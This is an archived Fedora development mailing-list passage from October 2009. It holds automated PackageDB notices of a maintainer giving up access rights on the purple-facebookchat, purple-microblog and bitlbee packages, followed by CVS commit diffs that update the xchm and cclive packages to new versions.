From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 19:50:01 +0000
Subject: [pkgdb] purple-facebookchat: mcepl has given up watchcommits
Message-ID: <20091001195001.8F0A410F8B8@bastion2.fedora.phx.redhat.com>

mcepl has given up the watchcommits acl on purple-facebookchat (Fedora 9)

To make changes to this package see:
  /pkgdb/packages/name/purple-facebookchat



From pkgdb at fedoraproject.org  Thu Oct  1 19:50:02 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 19:50:02 +0000
Subject: [pkgdb] purple-facebookchat: mcepl has given up commit
Message-ID: <20091001195002.625CA10F8BC@bastion2.fedora.phx.redhat.com>

mcepl has given up the commit acl on purple-facebookchat (Fedora 9)

To make changes to this package see:
  /pkgdb/packages/name/purple-facebookchat



From pkgdb at fedoraproject.org  Thu Oct  1 19:50:10 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 19:50:10 +0000
Subject: [pkgdb] purple-facebookchat: mcepl has given up commit
Message-ID: <20091001195010.6FA2010F875@bastion2.fedora.phx.redhat.com>

mcepl has given up the commit acl on purple-facebookchat (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/purple-facebookchat



From pkgdb at fedoraproject.org  Thu Oct  1 19:50:11 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 19:50:11 +0000
Subject: [pkgdb] purple-facebookchat: mcepl has given up watchcommits
Message-ID: <20091001195011.4B7AC10F889@bastion2.fedora.phx.redhat.com>

mcepl has given up the watchcommits acl on purple-facebookchat (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/purple-facebookchat



From pkgdb at fedoraproject.org  Thu Oct  1 19:50:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 19:50:12 +0000
Subject: [pkgdb] purple-facebookchat: mcepl has given up watchbugzilla
Message-ID: <20091001195012.9B77F10F8A9@bastion2.fedora.phx.redhat.com>

mcepl has given up the watchbugzilla acl on purple-facebookchat (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/purple-facebookchat



From pkgdb at fedoraproject.org  Thu Oct  1 19:50:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 19:50:14 +0000
Subject: [pkgdb] purple-facebookchat: mcepl has given up watchbugzilla
Message-ID: <20091001195014.9B6F210F8AB@bastion2.fedora.phx.redhat.com>

mcepl has given up the watchbugzilla acl on purple-facebookchat (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/purple-facebookchat



From pkgdb at fedoraproject.org  Thu Oct  1 19:50:15 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 19:50:15 +0000
Subject: [pkgdb] purple-facebookchat: mcepl has given up watchcommits
Message-ID: <20091001195015.89D9210F8AF@bastion2.fedora.phx.redhat.com>

mcepl has given up the watchcommits acl on purple-facebookchat (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/purple-facebookchat



From pkgdb at fedoraproject.org  Thu Oct  1 19:50:16 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 19:50:16 +0000
Subject: [pkgdb] purple-facebookchat: mcepl has given up commit
Message-ID: <20091001195016.93D5910F8B3@bastion2.fedora.phx.redhat.com>

mcepl has given up the commit acl on purple-facebookchat (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/purple-facebookchat



From pkgdb at fedoraproject.org  Thu Oct  1 19:50:19 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 19:50:19 +0000
Subject: [pkgdb] purple-facebookchat: mcepl has given up commit
Message-ID: <20091001195019.1DC9410F8B5@bastion2.fedora.phx.redhat.com>

mcepl has given up the commit acl on purple-facebookchat (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/purple-facebookchat



From pkgdb at fedoraproject.org  Thu Oct  1 19:50:20 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 19:50:20 +0000
Subject: [pkgdb] purple-facebookchat: mcepl has given up watchcommits
Message-ID: <20091001195020.2F85310F8C2@bastion2.fedora.phx.redhat.com>

mcepl has given up the watchcommits acl on purple-facebookchat (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/purple-facebookchat



From pkgdb at fedoraproject.org  Thu Oct  1 19:50:20 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 19:50:20 +0000
Subject: [pkgdb] purple-facebookchat: mcepl has given up watchbugzilla
Message-ID: <20091001195021.0796010F8C3@bastion2.fedora.phx.redhat.com>

mcepl has given up the watchbugzilla acl on purple-facebookchat (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/purple-facebookchat



From pkgdb at fedoraproject.org  Thu Oct  1 19:50:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 19:50:49 +0000
Subject: [pkgdb] purple-microblog: mcepl has given up watchbugzilla
Message-ID: <20091001195049.1F96010F8AC@bastion2.fedora.phx.redhat.com>

mcepl has given up the watchbugzilla acl on purple-microblog (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/purple-microblog



From pkgdb at fedoraproject.org  Thu Oct  1 19:50:50 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 19:50:50 +0000
Subject: [pkgdb] purple-microblog: mcepl has given up watchcommits
Message-ID: <20091001195050.499B810F8B1@bastion2.fedora.phx.redhat.com>

mcepl has given up the watchcommits acl on purple-microblog (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/purple-microblog



From pkgdb at fedoraproject.org  Thu Oct  1 19:50:50 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 19:50:50 +0000
Subject: [pkgdb] purple-microblog: mcepl has given up commit
Message-ID: <20091001195050.7243610F8BA@bastion2.fedora.phx.redhat.com>

mcepl has given up the commit acl on purple-microblog (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/purple-microblog



From pkgdb at fedoraproject.org  Thu Oct  1 19:50:51 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 19:50:51 +0000
Subject: [pkgdb] purple-microblog: mcepl has given up approveacls
Message-ID: <20091001195051.E887810F8BC@bastion2.fedora.phx.redhat.com>

mcepl has given up the approveacls acl on purple-microblog (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/purple-microblog



From pkgdb at fedoraproject.org  Thu Oct  1 19:50:53 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 19:50:53 +0000
Subject: [pkgdb] purple-microblog: mcepl has given up approveacls
Message-ID: <20091001195053.115A210F8C2@bastion2.fedora.phx.redhat.com>

mcepl has given up the approveacls acl on purple-microblog (Fedora 9)

To make changes to this package see:
  /pkgdb/packages/name/purple-microblog



From pkgdb at fedoraproject.org  Thu Oct  1 19:50:53 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 19:50:53 +0000
Subject: [pkgdb] purple-microblog: mcepl has given up commit
Message-ID: <20091001195054.948F610F8C5@bastion2.fedora.phx.redhat.com>

mcepl has given up the commit acl on purple-microblog (Fedora 9)

To make changes to this package see:
  /pkgdb/packages/name/purple-microblog



From pkgdb at fedoraproject.org  Thu Oct  1 19:50:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 19:50:54 +0000
Subject: [pkgdb] purple-microblog: mcepl has given up watchcommits
Message-ID: <20091001195054.BBE1210F8C8@bastion2.fedora.phx.redhat.com>

mcepl has given up the watchcommits acl on purple-microblog (Fedora 9)

To make changes to this package see:
  /pkgdb/packages/name/purple-microblog



From pkgdb at fedoraproject.org  Thu Oct  1 19:50:55 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 19:50:55 +0000
Subject: [pkgdb] purple-microblog: mcepl has given up watchbugzilla
Message-ID: <20091001195055.8DDB310F8C9@bastion2.fedora.phx.redhat.com>

mcepl has given up the watchbugzilla acl on purple-microblog (Fedora 9)

To make changes to this package see:
  /pkgdb/packages/name/purple-microblog



From pkgdb at fedoraproject.org  Thu Oct  1 19:51:01 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 19:51:01 +0000
Subject: [pkgdb] purple-microblog: mcepl has given up approveacls
Message-ID: <20091001195101.5638710F8CA@bastion2.fedora.phx.redhat.com>

mcepl has given up the approveacls acl on purple-microblog (Fedora 8)

To make changes to this package see:
  /pkgdb/packages/name/purple-microblog



From pkgdb at fedoraproject.org  Thu Oct  1 19:51:02 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 19:51:02 +0000
Subject: [pkgdb] purple-microblog: mcepl has given up commit
Message-ID: <20091001195102.219D510F8CE@bastion2.fedora.phx.redhat.com>

mcepl has given up the commit acl on purple-microblog (Fedora 8)

To make changes to this package see:
  /pkgdb/packages/name/purple-microblog



From pkgdb at fedoraproject.org  Thu Oct  1 19:51:02 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 19:51:02 +0000
Subject: [pkgdb] purple-microblog: mcepl has given up watchcommits
Message-ID: <20091001195103.0B27310F8D0@bastion2.fedora.phx.redhat.com>

mcepl has given up the watchcommits acl on purple-microblog (Fedora 8)

To make changes to this package see:
  /pkgdb/packages/name/purple-microblog



From pkgdb at fedoraproject.org  Thu Oct  1 19:51:04 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 19:51:04 +0000
Subject: [pkgdb] purple-microblog: mcepl has given up watchbugzilla
Message-ID: <20091001195104.2677510F8D4@bastion2.fedora.phx.redhat.com>

mcepl has given up the watchbugzilla acl on purple-microblog (Fedora 8)

To make changes to this package see:
  /pkgdb/packages/name/purple-microblog



From pkgdb at fedoraproject.org  Thu Oct  1 19:51:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 19:51:06 +0000
Subject: [pkgdb] purple-microblog: mcepl has given up watchbugzilla
Message-ID: <20091001195106.BB42210F894@bastion2.fedora.phx.redhat.com>

mcepl has given up the watchbugzilla acl on purple-microblog (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/purple-microblog



From pkgdb at fedoraproject.org  Thu Oct  1 19:51:07 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 19:51:07 +0000
Subject: [pkgdb] purple-microblog: mcepl has given up watchcommits
Message-ID: <20091001195107.7F01210F8D7@bastion2.fedora.phx.redhat.com>

mcepl has given up the watchcommits acl on purple-microblog (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/purple-microblog



From pkgdb at fedoraproject.org  Thu Oct  1 19:51:08 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 19:51:08 +0000
Subject: [pkgdb] purple-microblog: mcepl has given up commit
Message-ID: <20091001195108.AE6A710F8D9@bastion2.fedora.phx.redhat.com>

mcepl has given up the commit acl on purple-microblog (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/purple-microblog



From pkgdb at fedoraproject.org  Thu Oct  1 19:51:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 19:51:09 +0000
Subject: [pkgdb] purple-microblog: mcepl has given up approveacls
Message-ID: <20091001195109.BA35310F8DA@bastion2.fedora.phx.redhat.com>

mcepl has given up the approveacls acl on purple-microblog (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/purple-microblog



From pkgdb at fedoraproject.org  Thu Oct  1 19:51:10 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 19:51:10 +0000
Subject: [pkgdb] purple-microblog: mcepl has given up approveacls
Message-ID: <20091001195111.0427010F8DE@bastion2.fedora.phx.redhat.com>

mcepl has given up the approveacls acl on purple-microblog (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/purple-microblog



From pkgdb at fedoraproject.org  Thu Oct  1 19:51:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 19:51:12 +0000
Subject: [pkgdb] purple-microblog: mcepl has given up commit
Message-ID: <20091001195112.4CD2310F8AD@bastion2.fedora.phx.redhat.com>

mcepl has given up the commit acl on purple-microblog (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/purple-microblog



From pkgdb at fedoraproject.org  Thu Oct  1 19:51:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 19:51:12 +0000
Subject: [pkgdb] purple-microblog: mcepl has given up watchcommits
Message-ID: <20091001195113.0671110F8E0@bastion2.fedora.phx.redhat.com>

mcepl has given up the watchcommits acl on purple-microblog (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/purple-microblog



From pkgdb at fedoraproject.org  Thu Oct  1 19:51:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 19:51:14 +0000
Subject: [pkgdb] purple-microblog: mcepl has given up watchbugzilla
Message-ID: <20091001195114.B061610F8EB@bastion2.fedora.phx.redhat.com>

mcepl has given up the watchbugzilla acl on purple-microblog (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/purple-microblog



From pkgdb at fedoraproject.org  Thu Oct  1 19:51:17 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 19:51:17 +0000
Subject: [pkgdb] purple-microblog: mcepl has given up approveacls
Message-ID: <20091001195117.EB99210F8B2@bastion2.fedora.phx.redhat.com>

mcepl has given up the approveacls acl on purple-microblog (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/purple-microblog



From pkgdb at fedoraproject.org  Thu Oct  1 19:51:18 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 19:51:18 +0000
Subject: [pkgdb] purple-microblog: mcepl has given up commit
Message-ID: <20091001195118.F0CD110F8B4@bastion2.fedora.phx.redhat.com>

mcepl has given up the commit acl on purple-microblog (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/purple-microblog



From pkgdb at fedoraproject.org  Thu Oct  1 19:51:21 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 19:51:21 +0000
Subject: [pkgdb] purple-microblog: mcepl has given up watchbugzilla
Message-ID: <20091001195121.5FA9010F8B7@bastion2.fedora.phx.redhat.com>

mcepl has given up the watchbugzilla acl on purple-microblog (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/purple-microblog



From pkgdb at fedoraproject.org  Thu Oct  1 19:51:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 19:51:22 +0000
Subject: [pkgdb] purple-microblog: mcepl has given up watchcommits
Message-ID: <20091001195122.9E6CC10F8EF@bastion2.fedora.phx.redhat.com>

mcepl has given up the watchcommits acl on purple-microblog (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/purple-microblog



From pkgdb at fedoraproject.org  Thu Oct  1 19:51:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 19:51:52 +0000
Subject: [pkgdb] bitlbee: mcepl has given up watchbugzilla
Message-ID: <20091001195152.6D01910F8C1@bastion2.fedora.phx.redhat.com>

mcepl has given up the watchbugzilla acl on bitlbee (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/bitlbee



From pkgdb at fedoraproject.org  Thu Oct  1 19:51:53 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 19:51:53 +0000
Subject: [pkgdb] bitlbee: mcepl has given up watchcommits
Message-ID: <20091001195154.0FAD710F8C3@bastion2.fedora.phx.redhat.com>

mcepl has given up the watchcommits acl on bitlbee (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/bitlbee



From pkgdb at fedoraproject.org  Thu Oct  1 19:52:02 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 19:52:02 +0000
Subject: [pkgdb] bitlbee: mcepl has given up watchbugzilla
Message-ID: <20091001195202.42A8310F8AD@bastion2.fedora.phx.redhat.com>

mcepl has given up the watchbugzilla acl on bitlbee (Fedora 9)

To make changes to this package see:
  /pkgdb/packages/name/bitlbee



From pkgdb at fedoraproject.org  Thu Oct  1 19:51:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 19:51:54 +0000
Subject: [pkgdb] bitlbee: mcepl has given up commit
Message-ID: <20091001195154.AE4AC10F8C5@bastion2.fedora.phx.redhat.com>

mcepl has given up the commit acl on bitlbee (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/bitlbee



From pkgdb at fedoraproject.org  Thu Oct  1 19:52:02 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 19:52:02 +0000
Subject: [pkgdb] bitlbee: mcepl has given up watchcommits
Message-ID: <20091001195202.DAEFA10F8C6@bastion2.fedora.phx.redhat.com>

mcepl has given up the watchcommits acl on bitlbee (Fedora 9)

To make changes to this package see:
  /pkgdb/packages/name/bitlbee



From pkgdb at fedoraproject.org  Thu Oct  1 19:52:03 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 19:52:03 +0000
Subject: [pkgdb] bitlbee: mcepl has given up commit
Message-ID: <20091001195203.7460A10F8CC@bastion2.fedora.phx.redhat.com>

mcepl has given up the commit acl on bitlbee (Fedora 9)

To make changes to this package see:
  /pkgdb/packages/name/bitlbee



From pkgdb at fedoraproject.org  Thu Oct  1 19:52:05 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 19:52:05 +0000
Subject: [pkgdb] bitlbee: mcepl has given up commit
Message-ID: <20091001195205.0EB4E10F8B0@bastion2.fedora.phx.redhat.com>

mcepl has given up the commit acl on bitlbee (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/bitlbee



From pkgdb at fedoraproject.org  Thu Oct  1 19:52:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 19:52:06 +0000
Subject: [pkgdb] bitlbee: mcepl has given up watchcommits
Message-ID: <20091001195206.0E01C10F8CF@bastion2.fedora.phx.redhat.com>

mcepl has given up the watchcommits acl on bitlbee (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/bitlbee



From pkgdb at fedoraproject.org  Thu Oct  1 19:52:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 19:52:06 +0000
Subject: [pkgdb] bitlbee: mcepl has given up watchbugzilla
Message-ID: <20091001195206.7E04010F8D2@bastion2.fedora.phx.redhat.com>

mcepl has given up the watchbugzilla acl on bitlbee (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/bitlbee



From pkgdb at fedoraproject.org  Thu Oct  1 19:52:08 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 19:52:08 +0000
Subject: [pkgdb] bitlbee: mcepl has given up watchbugzilla
Message-ID: <20091001195208.7C59B10F8D3@bastion2.fedora.phx.redhat.com>

mcepl has given up the watchbugzilla acl on bitlbee (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/bitlbee



From pkgdb at fedoraproject.org  Thu Oct  1 19:52:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 19:52:09 +0000
Subject: [pkgdb] bitlbee: mcepl has given up watchcommits
Message-ID: <20091001195209.34C4D10F8D9@bastion2.fedora.phx.redhat.com>

mcepl has given up the watchcommits acl on bitlbee (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/bitlbee



From pkgdb at fedoraproject.org  Thu Oct  1 19:52:10 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 19:52:10 +0000
Subject: [pkgdb] bitlbee: mcepl has given up commit
Message-ID: <20091001195210.2D35C10F8DD@bastion2.fedora.phx.redhat.com>

mcepl has given up the commit acl on bitlbee (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/bitlbee



From pkgdb at fedoraproject.org  Thu Oct  1 19:52:13 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 19:52:13 +0000
Subject: [pkgdb] bitlbee: mcepl has given up commit
Message-ID: <20091001195213.214E010F8DE@bastion2.fedora.phx.redhat.com>

mcepl has given up the commit acl on bitlbee (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/bitlbee



From pkgdb at fedoraproject.org  Thu Oct  1 19:52:13 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 19:52:13 +0000
Subject: [pkgdb] bitlbee: mcepl has given up watchcommits
Message-ID: <20091001195213.D4CF410F8E1@bastion2.fedora.phx.redhat.com>

mcepl has given up the watchcommits acl on bitlbee (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/bitlbee



From pkgdb at fedoraproject.org  Thu Oct  1 19:52:15 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 19:52:15 +0000
Subject: [pkgdb] bitlbee: mcepl has given up watchbugzilla
Message-ID: <20091001195216.0431410F8EC@bastion2.fedora.phx.redhat.com>

mcepl has given up the watchbugzilla acl on bitlbee (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/bitlbee



From wolfy at fedoraproject.org  Thu Oct  1 20:06:06 2009
From: wolfy at fedoraproject.org (Manuel Wolfshant)
Date: Thu,  1 Oct 2009 20:06:06 +0000 (UTC)
Subject: rpms/xchm/EL-5 .cvsignore, 1.4, 1.5 sources, 1.4, 1.5 xchm.spec, 1.9,
	1.10
Message-ID: <20091001200606.48F9111C00C1@cvs1.fedora.phx.redhat.com>

Author: wolfy

Update of /cvs/pkgs/rpms/xchm/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv986

Modified Files:
	.cvsignore sources xchm.spec 
Log Message:
Version update (sync with rawhide)



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xchm/EL-5/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	28 Dec 2007 16:55:11 -0000	1.4
+++ .cvsignore	1 Oct 2009 20:06:06 -0000	1.5
@@ -1 +1 @@
-xchm-1.13.tar.gz
+xchm-1.17.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xchm/EL-5/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	28 Dec 2007 16:55:11 -0000	1.4
+++ sources	1 Oct 2009 20:06:06 -0000	1.5
@@ -1 +1 @@
-b444e36d6f1c7b3d772d1986ea9929dc  xchm-1.13.tar.gz
+4f34bc046fcc59f1af590d8eb1e08934  xchm-1.17.tar.gz


Index: xchm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xchm/EL-5/xchm.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- xchm.spec	28 Dec 2007 16:55:11 -0000	1.9
+++ xchm.spec	1 Oct 2009 20:06:06 -0000	1.10
@@ -1,6 +1,6 @@
 Summary:        A GUI front-end to CHMlib
 Name:           xchm
-Version:        1.13
+Version:        1.17
 Release:        1%{?dist}
 License:        GPLv2+
 Group:          Applications/Publishing
@@ -66,6 +66,18 @@ update-desktop-database &> /dev/null ||:
 %{_datadir}/applications/*
 
 %changelog
+* Thu Oct 1 2009 Manuel "lonely wolf" Wolfshant <wolfy at fedoraproject.org> - 1.17-1
+- Version update (sync with rawhide)
+
+* Thu Feb 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.14-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
+
+* Sat Mar  1 2008 Patrice Dumas <pertusus at free.fr> 1.14-1
+- update to 1.14. Remove upstreamed gcc 4.3 patch
+
+* Sat Jan  5 2008 Patrice Dumas <pertusus at free.fr> 1.13-2
+- fixes for gcc 4.3
+
 * Wed Aug  8 2007 Patrice Dumas <pertusus at free.fr> 1.13-1
 - update to 1.13
 



From eponyme at fedoraproject.org  Thu Oct  1 20:10:00 2009
From: eponyme at fedoraproject.org (Nicoleau Fabien)
Date: Thu,  1 Oct 2009 20:10:00 +0000 (UTC)
Subject: rpms/cclive/devel .cvsignore, 1.9, 1.10 cclive.spec, 1.9,
	1.10 sources, 1.9, 1.10
Message-ID: <20091001201000.178BA11C00C1@cvs1.fedora.phx.redhat.com>

Author: eponyme

Update of /cvs/pkgs/rpms/cclive/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1788

Modified Files:
	.cvsignore cclive.spec sources 
Log Message:
Update to 0.5.2


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/cclive/devel/.cvsignore,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- .cvsignore	19 Sep 2009 21:09:15 -0000	1.9
+++ .cvsignore	1 Oct 2009 20:09:58 -0000	1.10
@@ -1 +1 @@
-cclive-0.5.1.tar.bz2
+cclive-0.5.2.tar.bz2


Index: cclive.spec
===================================================================
RCS file: /cvs/pkgs/rpms/cclive/devel/cclive.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- cclive.spec	19 Sep 2009 21:09:15 -0000	1.9
+++ cclive.spec	1 Oct 2009 20:09:59 -0000	1.10
@@ -1,5 +1,5 @@
 Name:           cclive
-Version:        0.5.1
+Version:        0.5.2
 Release:        1%{?dist}
 Summary:        Command line video extraction utility
 
@@ -41,6 +41,8 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct  1 2009 Nicoleau Fabien <nicoleau.fabien at gmail.com> 0.5.2-1
+- Update to 0.5.2
 * Sat Sep 19 2009 Nicoleau Fabien <nicoleau.fabien at gmail.com> 0.5.1-1
 - Update to 0.5.1
 * Sun Sep  5 2009 Nicoleau Fabien <nicoleau.fabien at gmail.com> 0.5.0-1


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/cclive/devel/sources,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- sources	19 Sep 2009 21:09:15 -0000	1.9
+++ sources	1 Oct 2009 20:09:59 -0000	1.10
@@ -1 +1 @@
-61e068314296153c98f634af1e7d40ef  cclive-0.5.1.tar.bz2
+bf8427a6386c439227045bf4dfcae601  cclive-0.5.2.tar.bz2



From eponyme at fedoraproject.org  Thu Oct  1 20:11:42 2009
From: eponyme at fedoraproject.org (Nicoleau Fabien)
Date: Thu,  1 Oct 2009 20:11:42 +0000 (UTC)
Subject: rpms/cclive/F-11 .cvsignore, 1.9, 1.10 cclive.spec, 1.8, 1.9 sources,
	1.9, 1.10
Message-ID: <20091001201142.2AA8511C00C1@cvs1.fedora.phx.redhat.com>

Author: eponyme

Update of /cvs/pkgs/rpms/cclive/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2600

Modified Files:
	.cvsignore cclive.spec sources 
Log Message:
Update to 0.5.2


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/cclive/F-11/.cvsignore,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- .cvsignore	19 Sep 2009 21:10:38 -0000	1.9
+++ .cvsignore	1 Oct 2009 20:11:41 -0000	1.10
@@ -1 +1 @@
-cclive-0.5.1.tar.bz2
+cclive-0.5.2.tar.bz2


Index: cclive.spec
===================================================================
RCS file: /cvs/pkgs/rpms/cclive/F-11/cclive.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- cclive.spec	19 Sep 2009 21:10:38 -0000	1.8
+++ cclive.spec	1 Oct 2009 20:11:41 -0000	1.9
@@ -1,5 +1,5 @@
 Name:           cclive
-Version:        0.5.1
+Version:        0.5.2
 Release:        1%{?dist}
 Summary:        Command line video extraction utility
 
@@ -41,6 +41,8 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct  1 2009 Nicoleau Fabien <nicoleau.fabien at gmail.com> 0.5.2-1
+- Update to 0.5.2
 * Sat Sep 19 2009 Nicoleau Fabien <nicoleau.fabien at gmail.com> 0.5.1-1
 - Update to 0.5.1
 * Sun Sep  5 2009 Nicoleau Fabien <nicoleau.fabien at gmail.com> 0.5.0-1


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/cclive/F-11/sources,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- sources	19 Sep 2009 21:10:38 -0000	1.9
+++ sources	1 Oct 2009 20:11:41 -0000	1.10
@@ -1 +1 @@
-61e068314296153c98f634af1e7d40ef  cclive-0.5.1.tar.bz2
+bf8427a6386c439227045bf4dfcae601  cclive-0.5.2.tar.bz2



From deji at fedoraproject.org  Thu Oct  1 20:12:57 2009
From: deji at fedoraproject.org (Deji Akingunola)
Date: Thu,  1 Oct 2009 20:12:57 +0000 (UTC)
Subject: rpms/pytc/F-11 pytc.spec,1.2,1.3
Message-ID: <20091001201257.DEB8611C00C1@cvs1.fedora.phx.redhat.com>

Author: deji
